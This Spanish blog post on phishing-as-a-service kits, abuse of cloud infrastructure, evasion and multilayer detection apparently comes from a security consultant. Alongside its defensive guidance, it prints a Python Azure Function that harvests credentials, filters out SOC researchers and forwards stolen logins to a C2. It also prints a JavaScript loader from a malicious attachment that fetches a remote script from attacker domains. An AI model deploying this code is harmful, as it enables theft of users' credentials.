Phishing Avanzado: Kits, Infraestructura y Deteccion en 2026

Phishing Avanzado: Kits, Infraestructura y Deteccion en 2026 - Analisis tecnico y guia practica por David Moya

•David Moya•12 min read
#phishing#ingenieria-social#cti#deteccion
Compartir:

El phishing ya no es ese correo mal escrito de un príncipe nigeriano que todos sabemos identificar. En 2026, es una industria de servicios sofisticada, con modelos de negocio definidos, herramientas como-a-servicio (XaaS) y una infraestructura que se despliega y desmonta más rápido que un pop-up. La realidad que veo en los pentests y auditorías de respuesta a incidentes que hacemos en Riskitera es brutal: las defensas tradicionales, basadas en firmas de correo y listas negras de URL, están completamente obsoletas. El atacante moderno no aloja su página de phishing en un dominio raro tipo bank0fspain-login.xyz; la despliega en un subdominio comprometido de una universidad, en una instancia serverless de un proveedor cloud legítimo, o directamente en un documento ofuscado que se ejecuta localmente. El problema gordo aquí es que seguimos pensando en "correos maliciosos" cuando deberíamos pensar en "cadenas de ataque distribuidas y automatizadas".

Vamos al lío. Si quieres defenderte, primero tienes que entender cómo opera el enemigo. Y en 2026, el enemigo tiene un catálogo de opciones que haría palidecer a cualquier CISO.

¿Cómo se estructura un ataque de phishing avanzado en 2026? Kit-as-a-Service y automatización

La profesionalización es la clave. Hace años, un phisher necesitaba conocimientos de HTML, PHP y tal vez un poco de JavaScript. Hoy, accede a un panel de control estilo WordPress, elige una plantilla (Microsoft 365, Banco Santander, Agencia Tributaria), configura los parámetros de redirección y captura de credenciales, y con un clic obtiene un kit empaquetado listo para desplegar. Estos Phishing-as-a-Service (PhaaS) o kits de phishing han evolucionado a plataformas completas con soporte técnico, actualizaciones y hasta SLAs. En un incidente que investigamos el pasado enero para una empresa del IBEX 35, el kit utilizado incluía una funcionalidad de detección de entorno: si la víctima accedía desde una IP asociada a un proveedor de ciberseguridad, un CERT nacional o una red corporativa específica, la página mostraba un error 404 inocuo. Solo servía el contenido malicioso a víctimas "limpias". Esto es un salto cualitativo enorme.

Pero la infraestructura es la otra pata. Ya no se usan VPS baratos y dominios nuevos. La tendencia dominante es el abuso de servicios en la nube y de código abierto. Veo constantemente ataques que utilizan:

  • Funciones serverless (AWS Lambda, Azure Functions, Google Cloud Functions): Se despliega el código malicioso como una función que se activa con una petición HTTP. Es efímero, escalable y muy difícil de bloquear sin afectar servicios legítimos.
  • Páginas de GitHub Pages o GitLab Pages: El atacante hace un fork de un repositorio legítimo, inyecta el kit de phishing y activa las pages. La URL será https://[atacante].github.io/[repo-legitimo]/, con un certificado SSL válido de Let's Encrypt, alojado en infraestructura de Microsoft (GitHub). ¿Vas a bloquear github.io?
  • Compromiso de sitios WordPress/Joomla legítimos: Utilizando vulnerabilidades en plugins (recuerden el CVE-2024-27956 en WordPress, que fue una sangría), inyectan un subdirectorío o un script específico para la campaña. La reputación del dominio es excelente, por lo que pasa los filtros de correo sin problemas.

Aquí tienes un ejemplo realista de cómo un atacante podría desplegar un payload usando Azure Functions en 2026, algo que hemos visto en simulaciones de threat hunting:

# phishing_function/__init__.py
# Código de una Azure Function HTTP trigger que actúa como proxy inverso y capturador de credenciales
import logging
import requests
from urllib.parse import urlparse, parse_qs

import azure.functions as func

# URL legítima que estamos suplantando
LEGITIMATE_TARGET = "https://login.microsoftonline.com"

def main(req: func.HttpRequest) -> func.HttpResponse:
    logging.info('Phishing function processed a request.')
    user_ip = req.headers.get('X-Forwarded-For', 'Unknown')
    user_agent = req.headers.get('User-Agent', 'Unknown')

    # 1. Lógica de detección de investigadores: si la IP es de un rangode un SOC conocido, devolver error.
    if user_ip in SOC_IP_RANGES:
        return func.HttpResponse("Service Temporarily Unavailable", status_code=503)

    # 2. Si es un POST, probablemente sean credenciales. Las robamos y redirigimos al sitio real.
    if req.method == "POST":
        credentials = parse_qs(req.get_body().decode())
        logging.info(f"[!] Creds captured from {user_ip}: {credentials}")
        # Aquí se enviarían a un C2 (ej. Telegram Bot, Discord Webhook, servidor propio)
        send_to_c2(user_ip, user_agent, credentials)
        # Redirección transparente a la página real para no levantar sospechas
        return func.HttpResponse(status_code=302, headers={"Location": LEGITIMATE_TARGET})

    # 3. Para GETs, servimos el contenido phishing (podría estar en Blob Storage)
    # o hacemos un proxy inverso, modificando los formularios sobre la marcha.
    legitimate_response = requests.get(LEGITIMATE_TARGET, headers=req.headers)
    modified_content = legitimate_response.text.replace('action="/common/login"', f'action="{req.url}"')
    return func.HttpResponse(modified_content, mimetype="text/html")

Este nivel de sofisticación, donde la infraestructura maliciosa es dinámica, se autoprotege y se esconde a plena vista, es el pan nuestro de cada día. La detección ya no puede ser estática.

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

phishing-avanzado-kits-infraestructura-y-deteccion-en-2026 diagram 1

¿Qué técnicas de evasión están usando los kits de phishing más modernos?

Ojo con esto, porque aquí es donde fallan el 80% de los controles. Los kits de 2026 no son páginas HTML estáticas. Son aplicaciones web interactivas con lógica del lado cliente y servidor diseñada para engañar tanto al usuario como a los sistemas de defensa.

  1. Detección de entorno y evasión de sandboxes: El código JavaScript comprueba la resolución de pantalla, el tiempo de permanencia del ratón sobre elementos, la presencia de herramientas de desarrollador o extensiones de seguridad. Si detecta un entorno automatizado (como el sandbox de un correo corporativo), se duerme o muestra contenido benigno. Hemos descompuesto kits que usaban navigator.webdriver, screen.availWidth, y hasta la aceleración del hardware para diferenciar humanos de máquinas.
  2. Autenticación en dos pasos (2FA) phishing en tiempo real: Esto es una pesadilla para los equipos de seguridad. El kit no solo captura el usuario y la contraseña. Lo introduce en la web real en ese mismo instante, captura el token de sesión o la cookie resultante, y la inyecta en el navegador del atacante. Así, aunque la víctima tenga 2FA, el atacante obtiene una sesión activa. Herramientas como Evilginx3 o Modlishka han popularizado esta técnica, y ahora está integrada de fábrica en los PhaaS.
  3. Ofuscación y polimorfismo a nivel de entrega: El payload final (el kit) se descarga en capas. El correo contiene un enlace a un primer redireccionador (usando un servicio acortador legítimo como rb.gy o un documento en Google Drive). Este primer eslabón sirve un script que, ejecutándose en el navegador de la víctima, descarga el kit real desde un segundo alojamiento. Esto rompe el análisis de URL estático. Además, el kit puede cambiar su estructura HTML y nombres de parámetros con cada descarga, evitando firmas YARA o Sigma genéricas.

Te pongo un ejemplo de un script de descarga polimórfica que encontramos en un archivo HTML adjunto. Era increíblemente simple pero efectivo:

// Contenido del archivo "Factura_2026-03-15432.html"
// Primera capa: ofuscación básica y descarga dinámica
document.addEventListener("DOMContentLoaded", function() {
    // Simula un tiempo de carga para evadir sandboxes que ejecutan rápido
    setTimeout(function() {
        // Array de posibles dominios de segundo nivel (comprometidos)
        var domains = ["cdn.jquery-update[.]com", "api.static-content[.]net", "assets.trusted-fonts[.]org"];
        // Elige uno al azar
        var targetDomain = domains[Math.floor(Math.random() * domains.length)];
        // Construye la URL final con un nombre de archivo que incluye un hash temporal
        var uniqueHash = Date.now().toString(36) + Math.random().toString(36).substr(2);
        var finalUrl = "https://" + targetDomain + "/loader_" + uniqueHash + ".js";

        // Crea un script dinámico y lo inyecta en la página
        var s = document.createElement('script');
        s.src = finalUrl;
        document.body.appendChild(s);
    }, 3000); // Espera 3 segundos
});

Este script, trivial de escribir, obliga a los sistemas de detección a realizar seguimiento de múltiples dominios y a analizar contenido que se genera bajo demanda. Es una guerra de desgaste que los atacantes están ganando.

¿Cómo detectar y responder a estas campañas avanzadas? Más allá del correo

Sinceramente, la mayoría de empresas españolas en las que auditamos su postura anti-phishing se centran en el gateway de correo. Y está bien, es la primera línea. Pero en 2026, la detección debe ser multicapa y basada en comportamientos anómalos, no en indicadores estáticos. Tienes que asumir que algún correo va a pasar. La pregunta es: ¿qué haces después?

Detección en el endpoint y la red:

  • Análisis de procesos hijos de navegadores: Un usuario que normalmente accede a login.microsoftonline.com desde Chrome no debería generar procesos hijos como powershell.exe, cmd.exe o rundll32.exe inmediatamente después. Herramientas EDR como CrowdStrike Falcon 7.x o Microsoft Defender for Endpoint permiten crear reglas de detección personalizadas para esto. Busca cadenas de ejecución sospechosas.
  • Tráfico DNS y HTTP anómalo: Los kits de phishing suelen hacer peticiones a dominios recién registrados (edad baja) o con una alta entropía en el nombre (ej., x7g9d2.azurewebsites.net). Un sistema de detección basado en modelos de ML que analice el perfil DNS de tu organización puede saltar. Herramientas como Cisco Umbrella o soluciones internas con Zeek (Bro) y Sigma rules son clave. 
    # Sigma rule para detectar conexiones a dominios con alta entropía (ejemplo simplificado)
title: High Entropy Domain Name in DNS Query
status: experimental
logsource:
    category: dns_query
detection:
    selection:
        query:
            -| 
                # Regex para detectar secuencias aleatorias de caracteres alfanuméricos
                /([a-z0-9]{10,}\.){2,}[a-z]{2,}/
    condition: selection
falsepositives:
    - Some CDN and cloud provider domains may match
level: medium
  • Análisis de logs de autenticación: Esto es crítico. Si un usuario se autentica en Microsoft 365 desde una IP de Madrid y, 2 minutos después, hay un intento de autenticación exitoso para esa misma cuenta desde una IP en los Países Bajos, es una bandera roja enorme. Puede indicar que las credenciales fueron phisheadas y reutilizadas en tiempo real. Los SIEMs deben correlacionar estos eventos.

La ingeniería social como defensa: No es una herramienta técnica, pero en mi experiencia es la más efectiva. Los simulacros de phishing genéricos ya no sirven. Hay que hacer campañas hiperpersonalizadas que imiten los vectores avanzados: correos que parecen de RRHH sobre cambios de nómina, mensajes de Teams de supuestos compañeros, documentos compartidos en SharePoint con lógica engañosa. El objetivo no es medir quién hace clic, sino entrenar a los usuarios para que reporten. Un programa de reporte rápido (con un botón en el cliente de correo) es tu mejor sensor. Un usuario que reporta un correo sospechoso 5 minutos después de recibirlo te da una ventaja de respuesta brutal.

¿Qué herramientas y frameworks deberías usar para threat hunting de phishing en 2026?

Necesitas un mix de herramientas de código abierto (OSINT) y comerciales integradas en tu pila de seguridad. Aquí mi recomendación basada en lo que usamos en Riskitera:

| Categoría | Herramienta (Versión 2026) | Propósito en la caza de phishing | Comentario personal | | :--- | :--- | :--- | :--- | | Recopilación de Inteligencia | urlscan.io API, phish.report | Comprobar URLs sospechosas reportadas por usuarios. Ver capturas y metadatos. | urlscan.io es oro puro. Te muestra conexiones, dominios hermanos y te da un historial. | | Análisis de Kits | Wfuzz 3.3, Phishpedia, Browserless (Docker) | Fuzzing de rutas en dominios comprometidos, identificación de kits conocidos, automatización de interacción. | Wfuzz para encontrar paneles de administración del kit (ej., /admin/, /panel/). Browserless para render JS y ver lo que el usuario vería. | | Detección en Infraestructura | Sigma 2.0, Zeek 6.0, Splunk ES o Elastic SIEM | Crear reglas de correlación para tráfico anómalo, detección de beaconing a dominios de phishing. | Una regla Sigma bien afinada en tu SIEM vale más que 10 licencias caras de herramientas mágicas. | | Análisis Forense/IR | AutoMacro (para Office), ANY.RUN sandbox, Velociraptor | Analizar adjuntos maliciosos (macros ofuscadas), ejecutar muestras en sandbox interactivo, buscar artefactos en endpoints. | Velociraptor es imprescindible para responder. Puedes cazar artefactos de navegación (historial, caché) a escala tras un reporte. |

Recuerdo un incidente en 2024 donde un atacante usó un documento Excel con una macro que, al habilitarse, descargaba un kit de phishing que se alojaba en un bucket de S3 configurado como sitio web estático. La URL era legítima (s3.amazonaws.com), el certificado era válido, y el documento pasó todos los filtros de correo. Lo que nos dio la pista fue una regla en el EDR que alertó de que excel.exe había generado una conexión HTTP a una IP de AWS que nunca antes había visto en la empresa. La detección fue por comportamiento anómalo de la aplicación, no por la firma del archivo o la URL.

El futuro inmediato: Phishing generado por IA y ataques hiperpersonalizados

Estamos en la antesala del salto más grande. Los LLMs (Large Language Models) ya se usan para generar correos convincentes, sin errores gramaticales, en el tono adecuado y en múltiples idiomas. Pero en 2026, el peligro real es la automatización del reconnaissance y la personalización. Imagina un kit que, antes de servir la página, hace una búsqueda rápida en LinkedIn del correo de la víctima, identifica su empresa, su jefe, y modifica dinámicamente el contenido del phishing para que hable de un "proyecto con [Nombre del Jefe]" o incluya jerga interna de la compañía. Los ataques BEC (Business Email Compromise) van a escalar a un nivel aterrador.

La defensa, por tanto, tiene que evolucionar hacia la autenticación sin contraseñas (Passkeys, FIDO2) siempre que sea posible, y a una monitorización continua de la identidad. Si un usuario siempre se conecta desde un patrón de dispositivos y ubicaciones, cualquier desviación debe requerir un paso de verificación adicional, independientemente de que la contraseña sea correcta.

La conclusión es clara: el phishing ha dejado de ser un problema de "spam" para convertirse en un problema de seguridad de la identidad y de la cadena de suministro de aplicaciones en la nube. Si tu estrategia de ciberseguridad no incluye una capa robusta de detección de comportamientos anómalos en endpoints, red e identidad, y no fomenta una cultura de reporte rápido, estás jugando a la ruleta rusa con la puerta principal de tu empresa abierta. En Riskitera, cuando hacemos un pentest, la primera pregunta que hacemos es: "¿Cuántos de tus usuarios nos van a dar sus credenciales si los atacamos con un phishing creíble?". La respuesta, en 2026, sigue siendo alarmantemente alta.

Recursos y referencias

  1. OpenPhish: Feed de inteligencia en tiempo real sobre URLs de phishing activas. https://openphish.com/
  2. Phishing Kit Detection - GitHub Repository: Recopilación de herramientas y YARA rules para analizar kits. https://github.com/0xDanielLopez/phishing-kit-detection
  3. Sigma HQ - Rules for Phishing Detection: Repositorio oficial de reglas Sigma, incluye detecciones para comportamiento post-phishing. https://github.com/SigmaHQ/sigma
  4. Microsoft Documentation: Combatting Phishing with Defender for Office 365: Guía actualizada (2026) sobre las capacidades de detección de phishing en la suite de Microsoft. https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-phishing-protection?view=o365-world